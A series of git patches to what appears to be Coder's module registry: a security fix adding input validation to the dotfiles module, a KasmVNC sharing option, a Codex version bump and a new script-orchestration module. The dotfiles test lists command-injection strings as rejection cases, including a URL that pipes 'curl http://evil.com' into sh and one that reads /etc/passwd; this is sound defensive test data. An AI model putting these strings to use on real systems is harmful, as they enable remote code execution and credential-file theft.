From 8e68c96633f65a1babd76a93b6923e3deead4a82 Mon Sep 17 00:00:00 2001 From: DevCats Date: Mon, 9 Feb 2026 07:54:15 -0600 Subject: [PATCH 1/4] fix: add validation to inputs in dot-files module (#703) ## Description Add's Validation to the dotfiles module in all input's to address security issue pointed out in https://github.com/coder/security/issues/119 ## Type of Change - [ ] New module - [ ] New template - [X] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/dotfiles` **New version:** `v1.2.4` **Breaking change:** [ ] Yes [X] No ## Testing & Validation - [Y] Tests pass (`bun test`) - [Y] Code formatted (`bun fmt`) - [ ] Changes tested locally ## Related Issues https://github.com/coder/security/issues/119 --------- Co-authored-by: Jakub Domeracki --- .../modules/claude-code/scripts/install.sh | 3 +- .../modules/claude-code/scripts/start.sh | 3 +- registry/coder/modules/dotfiles/README.md | 12 +++--- registry/coder/modules/dotfiles/main.test.ts | 43 +++++++++++++++---- registry/coder/modules/dotfiles/main.tf | 28 +++++++++++- registry/coder/modules/dotfiles/run.sh | 30 ++++++++++--- 6 files changed, 96 insertions(+), 23 deletions(-) diff --git a/registry/coder/modules/claude-code/scripts/install.sh b/registry/coder/modules/claude-code/scripts/install.sh index 9a393965..0a2ba703 100644 --- a/registry/coder/modules/claude-code/scripts/install.sh +++ b/registry/coder/modules/claude-code/scripts/install.sh @@ -12,7 +12,8 @@ ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-} ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"} ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-} ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"} -ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH") +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}" +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}" ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false} ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true} ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-} diff --git a/registry/coder/modules/claude-code/scripts/start.sh b/registry/coder/modules/claude-code/scripts/start.sh index a38e7146..2df8fce1 100644 --- a/registry/coder/modules/claude-code/scripts/start.sh +++ b/registry/coder/modules/claude-code/scripts/start.sh @@ -3,7 +3,8 @@ set -euo pipefail ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"} -ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH") +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}" +ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}" export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH" diff --git a/registry/coder/modules/dotfiles/README.md b/registry/coder/modules/dotfiles/README.md index e35033a6..7d994c1e 100644 --- a/registry/coder/modules/dotfiles/README.md +++ b/registry/coder/modules/dotfiles/README.md @@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/ module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id } ``` @@ -31,7 +31,7 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id } ``` @@ -42,7 +42,7 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id user = "root" } @@ -54,14 +54,14 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id } module "dotfiles-root" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id user = "root" dotfiles_uri = module.dotfiles.dotfiles_uri @@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_ module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.3" + version = "1.2.4" agent_id = coder_agent.example.id default_dotfiles_uri = "https://github.com/coder/dotfiles" } diff --git a/registry/coder/modules/dotfiles/main.test.ts b/registry/coder/modules/dotfiles/main.test.ts index 8c82cd1e..90fe91c8 100644 --- a/registry/coder/modules/dotfiles/main.test.ts +++ b/registry/coder/modules/dotfiles/main.test.ts @@ -12,20 +12,47 @@ describe("dotfiles", async () => { agent_id: "foo", }); - it("default output", async () => { + it("default output is empty string", async () => { const state = await runTerraformApply(import.meta.dir, { agent_id: "foo", }); expect(state.outputs.dotfiles_uri.value).toBe(""); }); - it("set a default dotfiles_uri", async () => { - const default_dotfiles_uri = "foo"; - const state = await runTerraformApply(import.meta.dir, { - agent_id: "foo", - default_dotfiles_uri, - }); - expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri); + it("accepts valid git URL formats", async () => { + const validUrls = [ + "https://github.com/coder/dotfiles", + "https://github.com/coder/dotfiles.git", + "git@github.com:coder/dotfiles.git", + "git://github.com/coder/dotfiles.git", + "ssh://git@github.com/coder/dotfiles.git", + ]; + for (const url of validUrls) { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + dotfiles_uri: url, + }); + expect(state.outputs.dotfiles_uri.value).toBe(url); + } + }); + + it("rejects invalid or malicious URLs", async () => { + const invalidUrls = [ + "https://github.com/user/repo; curl http://evil.com | sh", + "https://github.com/$(whoami)/repo", + "https://github.com/`id`/repo", + "https://github.com/user/repo|cat /etc/passwd", + "file:///etc/passwd", + "not-a-valid-url", + ]; + for (const url of invalidUrls) { + await expect( + runTerraformApply(import.meta.dir, { + agent_id: "foo", + dotfiles_uri: url, + }), + ).rejects.toThrow(); + } }); it("set custom order for coder_parameter", async () => { diff --git a/registry/coder/modules/dotfiles/main.tf b/registry/coder/modules/dotfiles/main.tf index 9dfb7240..760f4181 100644 --- a/registry/coder/modules/dotfiles/main.tf +++ b/registry/coder/modules/dotfiles/main.tf @@ -36,19 +36,40 @@ variable "default_dotfiles_uri" { type = string description = "The default dotfiles URI if the workspace user does not provide one" default = "" + + validation { + condition = ( + var.default_dotfiles_uri == "" || + can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.default_dotfiles_uri)) + ) + error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } variable "dotfiles_uri" { type = string description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)" + default = null - default = null + validation { + condition = ( + var.dotfiles_uri == null || + var.dotfiles_uri == "" || + can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.dotfiles_uri)) + ) + error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } variable "user" { type = string description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)" default = null + + validation { + condition = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user)) + error_message = "Must be a valid username without special characters." + } } variable "coder_parameter_order" { @@ -73,6 +94,11 @@ data "coder_parameter" "dotfiles_uri" { description = var.description mutable = true icon = "/icon/dotfiles.svg" + + validation { + regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$" + error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters." + } } locals { diff --git a/registry/coder/modules/dotfiles/run.sh b/registry/coder/modules/dotfiles/run.sh index 91229589..a068aca7 100644 --- a/registry/coder/modules/dotfiles/run.sh +++ b/registry/coder/modules/dotfiles/run.sh @@ -5,6 +5,19 @@ set -euo pipefail DOTFILES_URI="${DOTFILES_URI}" DOTFILES_USER="${DOTFILES_USER}" +# Validate DOTFILES_URI to prevent command injection (defense in depth) +if [ -n "$DOTFILES_URI" ]; then + # shellcheck disable=SC2250 + if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then + echo "ERROR: DOTFILES_URI contains invalid characters" >&2 + exit 1 + fi + if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then + echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2 + exit 1 + fi +fi + # shellcheck disable=SC2157 if [ -n "$${DOTFILES_URI// }" ]; then if [ -z "$DOTFILES_USER" ]; then @@ -16,12 +29,17 @@ if [ -n "$${DOTFILES_URI// }" ]; then if [ "$DOTFILES_USER" = "$USER" ]; then coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log else - # The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280 - # eval echo ~coder -> "/home/coder" - # eval echo ~root -> "/root" + if command -v getent > /dev/null 2>&1; then + DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6) + else + DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd) + fi + if [ -z "$DOTFILES_USER_HOME" ]; then + echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2 + exit 1 + fi - CODER_BIN=$(which coder) - DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER") - sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log" + CODER_BIN=$(command -v coder) + sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log" fi fi From 04490518288690e20c80de7e09327c6ff6c6d215 Mon Sep 17 00:00:00 2001 From: Riajul Islam Date: Wed, 11 Feb 2026 13:34:37 +0600 Subject: [PATCH 2/4] feat(KasmVNC): allow share variable to be passed with default: `owner` (#709) Co-authored-by: Atif Ali --- registry/coder/modules/kasmvnc/README.md | 2 +- registry/coder/modules/kasmvnc/main.tf | 11 ++++++++++- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/registry/coder/modules/kasmvnc/README.md b/registry/coder/modules/kasmvnc/README.md index 7fcc7fb0..2f9fff7a 100644 --- a/registry/coder/modules/kasmvnc/README.md +++ b/registry/coder/modules/kasmvnc/README.md @@ -14,7 +14,7 @@ Automatically install [KasmVNC](https://kasmweb.com/kasmvnc) in a workspace, and module "kasmvnc" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/kasmvnc/coder" - version = "1.2.7" + version = "1.3.0" agent_id = coder_agent.example.id desktop_environment = "xfce" subdomain = true diff --git a/registry/coder/modules/kasmvnc/main.tf b/registry/coder/modules/kasmvnc/main.tf index 4635f612..66324b37 100644 --- a/registry/coder/modules/kasmvnc/main.tf +++ b/registry/coder/modules/kasmvnc/main.tf @@ -54,6 +54,15 @@ variable "subdomain" { description = "Is subdomain sharing enabled in your cluster?" } +variable "share" { + type = string + default = "owner" + validation { + condition = var.share == "owner" || var.share == "authenticated" || var.share == "public" + error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'." + } +} + resource "coder_script" "kasm_vnc" { agent_id = var.agent_id display_name = "KasmVNC" @@ -75,7 +84,7 @@ resource "coder_app" "kasm_vnc" { url = "http://localhost:${var.port}" icon = "/icon/kasmvnc.svg" subdomain = var.subdomain - share = "owner" + share = var.share order = var.order group = var.group From a9a03b167c0c89c57660f8db83f86beb7d056e19 Mon Sep 17 00:00:00 2001 From: 35C4n0r <70096901+35C4n0r@users.noreply.github.com> Date: Thu, 12 Feb 2026 23:21:07 +0530 Subject: [PATCH 3/4] feat(coder-labs/modules/codex): bump agentapi version to v0.11.8 in codex (#727) ## Description - bump agentapi version to v0.11.8 in codex ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder-labs/modules/codex` **New version:** `v4.1.1` **Breaking change:** [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues --- registry/coder-labs/modules/codex/README.md | 10 +++++----- registry/coder-labs/modules/codex/main.tf | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/registry/coder-labs/modules/codex/README.md b/registry/coder-labs/modules/codex/README.md index 1ca7c9c5..b4a895de 100644 --- a/registry/coder-labs/modules/codex/README.md +++ b/registry/coder-labs/modules/codex/README.md @@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte ```tf module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = var.openai_api_key workdir = "/home/coder/project" @@ -32,7 +32,7 @@ module "codex" { module "codex" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = "..." workdir = "/home/coder/project" @@ -51,7 +51,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage ```tf module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id workdir = "/home/coder/project" enable_aibridge = true @@ -94,7 +94,7 @@ data "coder_task" "me" {} module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = "..." ai_prompt = data.coder_task.me.prompt @@ -112,7 +112,7 @@ This example shows additional configuration options for custom models, MCP serve ```tf module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.1.0" + version = "4.1.1" agent_id = coder_agent.example.id openai_api_key = "..." workdir = "/home/coder/project" diff --git a/registry/coder-labs/modules/codex/main.tf b/registry/coder-labs/modules/codex/main.tf index 2f65df86..cc07ce2f 100644 --- a/registry/coder-labs/modules/codex/main.tf +++ b/registry/coder-labs/modules/codex/main.tf @@ -131,7 +131,7 @@ variable "install_agentapi" { variable "agentapi_version" { type = string description = "The version of AgentAPI to install." - default = "v0.11.6" + default = "v0.11.8" } variable "codex_model" { From c5ff4de9ed2935624cda5bc1ba93cc2ad4ddde18 Mon Sep 17 00:00:00 2001 From: 35C4n0r <70096901+35C4n0r@users.noreply.github.com> Date: Fri, 13 Feb 2026 22:05:21 +0530 Subject: [PATCH 4/4] feat(coder/modules/agent-helper): add agent-helper module to help run scripts (#704) ## Description The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts. ## Type of Change - [x] New module - [ ] New template - [ ] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/agent-helper` **New version:** `v1.0.0` **Breaking change:** [x] Yes [ ] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues Closes: https://github.com/coder/registry/issues/696 Closes: https://github.com/coder/registry/issues/698 --------- Co-authored-by: DevCats --- registry/coder/modules/agent-helper/README.md | 65 +++++ .../coder/modules/agent-helper/main.test.ts | 13 + registry/coder/modules/agent-helper/main.tf | 190 ++++++++++++ .../modules/agent-helper/main.tftest.hcl | 271 ++++++++++++++++++ 4 files changed, 539 insertions(+) create mode 100644 registry/coder/modules/agent-helper/README.md create mode 100644 registry/coder/modules/agent-helper/main.test.ts create mode 100644 registry/coder/modules/agent-helper/main.tf create mode 100644 registry/coder/modules/agent-helper/main.tftest.hcl diff --git a/registry/coder/modules/agent-helper/README.md b/registry/coder/modules/agent-helper/README.md new file mode 100644 index 00000000..62eb3573 --- /dev/null +++ b/registry/coder/modules/agent-helper/README.md @@ -0,0 +1,65 @@ +--- +display_name: Agent Helper +description: Building block for modules that need orchestrated script execution +icon: ../../../../.icons/coder.svg +verified: false +tags: [internal, library] +--- + +# Agent Helper + +> [!CAUTION] +> We do not recommend using this module directly. It is intended primarily for internal use by Coder to create modules with orchestrated script execution. + +The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts. + +> [!NOTE] +> +> - The `agent_name` should be the same as that of the agentapi module's `agent_name` if used together. + +```tf +module "agent_helper" { + source = "registry.coder.com/coder/agent-helper/coder" + version = "1.0.0" + + agent_id = coder_agent.main.id + agent_name = "myagent" + module_dir_name = ".my-module" + + pre_install_script = <<-EOT + #!/bin/bash + echo "Running pre-install tasks..." + # Your pre-install logic here + EOT + + install_script = <<-EOT + #!/bin/bash + echo "Installing dependencies..." + # Your install logic here + EOT + + post_install_script = <<-EOT + #!/bin/bash + echo "Running post-install configuration..." + # Your post-install logic here + EOT + + start_script = <<-EOT + #!/bin/bash + echo "Starting the application..." + # Your start logic here + EOT +} +``` + +## Execution Order + +The module orchestrates scripts in the following order: + +1. **Log File Creation** - Creates module directory and log files +2. **Pre-Install Script** (optional) - Runs before installation +3. **Install Script** - Main installation +4. **Post-Install Script** (optional) - Runs after installation +5. **Start Script** - Starts the application + +Each script waits for its prerequisites to complete before running using `coder exp sync` dependency management. diff --git a/registry/coder/modules/agent-helper/main.test.ts b/registry/coder/modules/agent-helper/main.test.ts new file mode 100644 index 00000000..6c132589 --- /dev/null +++ b/registry/coder/modules/agent-helper/main.test.ts @@ -0,0 +1,13 @@ +import { describe } from "bun:test"; +import { runTerraformInit, testRequiredVariables } from "~test"; + +describe("agent-helper", async () => { + await runTerraformInit(import.meta.dir); + + testRequiredVariables(import.meta.dir, { + agent_id: "test-agent-id", + agent_name: "test-agent", + module_dir_name: ".test-module", + start_script: "echo 'start'", + }); +}); diff --git a/registry/coder/modules/agent-helper/main.tf b/registry/coder/modules/agent-helper/main.tf new file mode 100644 index 00000000..cfb8b778 --- /dev/null +++ b/registry/coder/modules/agent-helper/main.tf @@ -0,0 +1,190 @@ +terraform { + required_version = ">= 1.0" + + required_providers { + coder = { + source = "coder/coder" + version = ">= 2.13" + } + } +} + +variable "agent_id" { + type = string + description = "The ID of a Coder agent." +} + +data "coder_workspace" "me" {} + +data "coder_workspace_owner" "me" {} + +data "coder_task" "me" {} + +variable "pre_install_script" { + type = string + description = "Custom script to run before installing the agent used by AgentAPI." + default = null +} + +variable "install_script" { + type = string + description = "Script to install the agent used by AgentAPI." + default = null +} + +variable "post_install_script" { + type = string + description = "Custom script to run after installing the agent used by AgentAPI." + default = null +} + +variable "start_script" { + type = string + description = "Script that starts AgentAPI." +} + +variable "agent_name" { + type = string + description = "The name of the agent. This is used to construct unique script names for the experiment sync." + +} + +variable "module_dir_name" { + type = string + description = "The name of the module directory." +} + +locals { + encoded_pre_install_script = var.pre_install_script != null ? base64encode(var.pre_install_script) : "" + encoded_install_script = var.install_script != null ? base64encode(var.install_script) : "" + encoded_post_install_script = var.post_install_script != null ? base64encode(var.post_install_script) : "" + encoded_start_script = base64encode(var.start_script) + + pre_install_script_name = "${var.agent_name}-pre_install_script" + install_script_name = "${var.agent_name}-install_script" + post_install_script_name = "${var.agent_name}-post_install_script" + start_script_name = "${var.agent_name}-start_script" + + module_dir_path = "$HOME/${var.module_dir_name}" + + pre_install_path = "${local.module_dir_path}/pre_install.sh" + install_path = "${local.module_dir_path}/install.sh" + post_install_path = "${local.module_dir_path}/post_install.sh" + start_path = "${local.module_dir_path}/start.sh" + + pre_install_log_path = "${local.module_dir_path}/pre_install.log" + install_log_path = "${local.module_dir_path}/install.log" + post_install_log_path = "${local.module_dir_path}/post_install.log" + start_log_path = "${local.module_dir_path}/start.log" +} + +resource "coder_script" "pre_install_script" { + count = var.pre_install_script == null ? 0 : 1 + agent_id = var.agent_id + display_name = "Pre-Install Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + mkdir -p ${local.module_dir_path} + + trap 'coder exp sync complete ${local.pre_install_script_name}' EXIT + coder exp sync start ${local.pre_install_script_name} + + echo -n '${local.encoded_pre_install_script}' | base64 -d > ${local.pre_install_path} + chmod +x ${local.pre_install_path} + + ${local.pre_install_path} > ${local.pre_install_log_path} 2>&1 + EOT +} + +resource "coder_script" "install_script" { + agent_id = var.agent_id + display_name = "Install Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + mkdir -p ${local.module_dir_path} + + trap 'coder exp sync complete ${local.install_script_name}' EXIT + %{if var.pre_install_script != null~} + coder exp sync want ${local.install_script_name} ${local.pre_install_script_name} + %{endif~} + coder exp sync start ${local.install_script_name} + echo -n '${local.encoded_install_script}' | base64 -d > ${local.install_path} + chmod +x ${local.install_path} + + ${local.install_path} > ${local.install_log_path} 2>&1 + EOT +} + +resource "coder_script" "post_install_script" { + count = var.post_install_script != null ? 1 : 0 + agent_id = var.agent_id + display_name = "Post-Install Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + trap 'coder exp sync complete ${local.post_install_script_name}' EXIT + coder exp sync want ${local.post_install_script_name} ${local.install_script_name} + coder exp sync start ${local.post_install_script_name} + + echo -n '${local.encoded_post_install_script}' | base64 -d > ${local.post_install_path} + chmod +x ${local.post_install_path} + + ${local.post_install_path} > ${local.post_install_log_path} 2>&1 + EOT +} + +resource "coder_script" "start_script" { + agent_id = var.agent_id + display_name = "Start Script" + run_on_start = true + script = <<-EOT + #!/bin/bash + set -o errexit + set -o pipefail + + trap 'coder exp sync complete ${local.start_script_name}' EXIT + + %{if var.post_install_script != null~} + coder exp sync want ${local.start_script_name} ${local.install_script_name} ${local.post_install_script_name} + %{else~} + coder exp sync want ${local.start_script_name} ${local.install_script_name} + %{endif~} + coder exp sync start ${local.start_script_name} + + echo -n '${local.encoded_start_script}' | base64 -d > ${local.start_path} + chmod +x ${local.start_path} + + ${local.start_path} > ${local.start_log_path} 2>&1 + EOT +} + +output "pre_install_script_name" { + description = "The name of the pre-install script for sync." + value = local.pre_install_script_name +} + +output "install_script_name" { + description = "The name of the install script for sync." + value = local.install_script_name +} + +output "post_install_script_name" { + description = "The name of the post-install script for sync." + value = local.post_install_script_name +} + +output "start_script_name" { + description = "The name of the start script for sync." + value = local.start_script_name +} \ No newline at end of file diff --git a/registry/coder/modules/agent-helper/main.tftest.hcl b/registry/coder/modules/agent-helper/main.tftest.hcl new file mode 100644 index 00000000..91546fb0 --- /dev/null +++ b/registry/coder/modules/agent-helper/main.tftest.hcl @@ -0,0 +1,271 @@ +# Test for agent-helper module + +# Test with all scripts provided +run "test_with_all_scripts" { + command = plan + + variables { + agent_id = "test-agent-id" + agent_name = "test-agent" + module_dir_name = ".test-module" + pre_install_script = "echo 'pre-install'" + install_script = "echo 'install'" + post_install_script = "echo 'post-install'" + start_script = "echo 'start'" + } + + # Verify pre_install_script is created when provided + assert { + condition = length(coder_script.pre_install_script) == 1 + error_message = "Pre-install script should be created when pre_install_script is provided" + } + + assert { + condition = coder_script.pre_install_script[0].agent_id == "test-agent-id" + error_message = "Pre-install script agent ID should match input" + } + + assert { + condition = coder_script.pre_install_script[0].display_name == "Pre-Install Script" + error_message = "Pre-install script should have correct display name" + } + + assert { + condition = coder_script.pre_install_script[0].run_on_start == true + error_message = "Pre-install script should run on start" + } + + # Verify install_script is created + assert { + condition = coder_script.install_script.agent_id == "test-agent-id" + error_message = "Install script agent ID should match input" + } + + assert { + condition = coder_script.install_script.display_name == "Install Script" + error_message = "Install script should have correct display name" + } + + assert { + condition = coder_script.install_script.run_on_start == true + error_message = "Install script should run on start" + } + + # Verify post_install_script is created when provided + assert { + condition = length(coder_script.post_install_script) == 1 + error_message = "Post-install script should be created when post_install_script is provided" + } + + assert { + condition = coder_script.post_install_script[0].agent_id == "test-agent-id" + error_message = "Post-install script agent ID should match input" + } + + assert { + condition = coder_script.post_install_script[0].display_name == "Post-Install Script" + error_message = "Post-install script should have correct display name" + } + + assert { + condition = coder_script.post_install_script[0].run_on_start == true + error_message = "Post-install script should run on start" + } + + # Verify start_script is created + assert { + condition = coder_script.start_script.agent_id == "test-agent-id" + error_message = "Start script agent ID should match input" + } + + assert { + condition = coder_script.start_script.display_name == "Start Script" + error_message = "Start script should have correct display name" + } + + assert { + condition = coder_script.start_script.run_on_start == true + error_message = "Start script should run on start" + } + + # Verify outputs for script names + assert { + condition = output.pre_install_script_name == "test-agent-pre_install_script" + error_message = "Pre-install script name output should be correctly formatted" + } + + assert { + condition = output.install_script_name == "test-agent-install_script" + error_message = "Install script name output should be correctly formatted" + } + + assert { + condition = output.post_install_script_name == "test-agent-post_install_script" + error_message = "Post-install script name output should be correctly formatted" + } + + assert { + condition = output.start_script_name == "test-agent-start_script" + error_message = "Start script name output should be correctly formatted" + } +} + +# Test with only required scripts (no pre/post install) +run "test_without_optional_scripts" { + command = plan + + variables { + agent_id = "test-agent-id" + agent_name = "test-agent" + module_dir_name = ".test-module" + install_script = "echo 'install'" + start_script = "echo 'start'" + } + + # Verify pre_install_script is NOT created when not provided + assert { + condition = length(coder_script.pre_install_script) == 0 + error_message = "Pre-install script should not be created when pre_install_script is null" + } + + # Verify post_install_script is NOT created when not provided + assert { + condition = length(coder_script.post_install_script) == 0 + error_message = "Post-install script should not be created when post_install_script is null" + } + + # Verify required scripts are still created + assert { + condition = coder_script.install_script.agent_id == "test-agent-id" + error_message = "Install script should be created" + } + + assert { + condition = coder_script.start_script.agent_id == "test-agent-id" + error_message = "Start script should be created" + } + + # Verify outputs + assert { + condition = output.pre_install_script_name == "test-agent-pre_install_script" + error_message = "Pre-install script name output should be generated even when script is not created" + } + + assert { + condition = output.install_script_name == "test-agent-install_script" + error_message = "Install script name output should be correctly formatted" + } + + assert { + condition = output.post_install_script_name == "test-agent-post_install_script" + error_message = "Post-install script name output should be generated even when script is not created" + } + + assert { + condition = output.start_script_name == "test-agent-start_script" + error_message = "Start script name output should be correctly formatted" + } +} + +# Test with mock data sources +run "test_with_mock_data" { + command = plan + + variables { + agent_id = "mock-agent" + agent_name = "mock-agent" + module_dir_name = ".mock-module" + install_script = "echo 'install'" + start_script = "echo 'start'" + } + + # Mock the data sources for testing + override_data { + target = data.coder_workspace.me + values = { + id = "test-workspace-id" + name = "test-workspace" + owner = "test-owner" + owner_id = "test-owner-id" + template_id = "test-template-id" + template_name = "test-template" + access_url = "https://coder.example.com" + start_count = 1 + transition = "start" + } + } + + override_data { + target = data.coder_workspace_owner.me + values = { + id = "test-owner-id" + email = "test@example.com" + name = "Test User" + session_token = "mock-token" + } + } + + override_data { + target = data.coder_task.me + values = { + id = "test-task-id" + } + } + + # Verify scripts are created with mocked data + assert { + condition = coder_script.install_script.agent_id == "mock-agent" + error_message = "Install script should use the mocked agent ID" + } + + assert { + condition = coder_script.start_script.agent_id == "mock-agent" + error_message = "Start script should use the mocked agent ID" + } +} + +# Test script naming with custom agent_name +run "test_script_naming" { + command = plan + + variables { + agent_id = "test-agent" + agent_name = "custom-name" + module_dir_name = ".test-module" + install_script = "echo 'install'" + start_script = "echo 'start'" + } + + # Verify script names are constructed correctly + # The script should contain references to custom-name-* in the sync commands + assert { + condition = can(regex("custom-name-install_script", coder_script.install_script.script)) + error_message = "Install script should use custom agent_name in sync commands" + } + + assert { + condition = can(regex("custom-name-start_script", coder_script.start_script.script)) + error_message = "Start script should use custom agent_name in sync commands" + } + + # Verify outputs use custom agent_name + assert { + condition = output.pre_install_script_name == "custom-name-pre_install_script" + error_message = "Pre-install script name output should use custom agent_name" + } + + assert { + condition = output.install_script_name == "custom-name-install_script" + error_message = "Install script name output should use custom agent_name" + } + + assert { + condition = output.post_install_script_name == "custom-name-post_install_script" + error_message = "Post-install script name output should use custom agent_name" + } + + assert { + condition = output.start_script_name == "custom-name-start_script" + error_message = "Start script name output should use custom agent_name" + } +}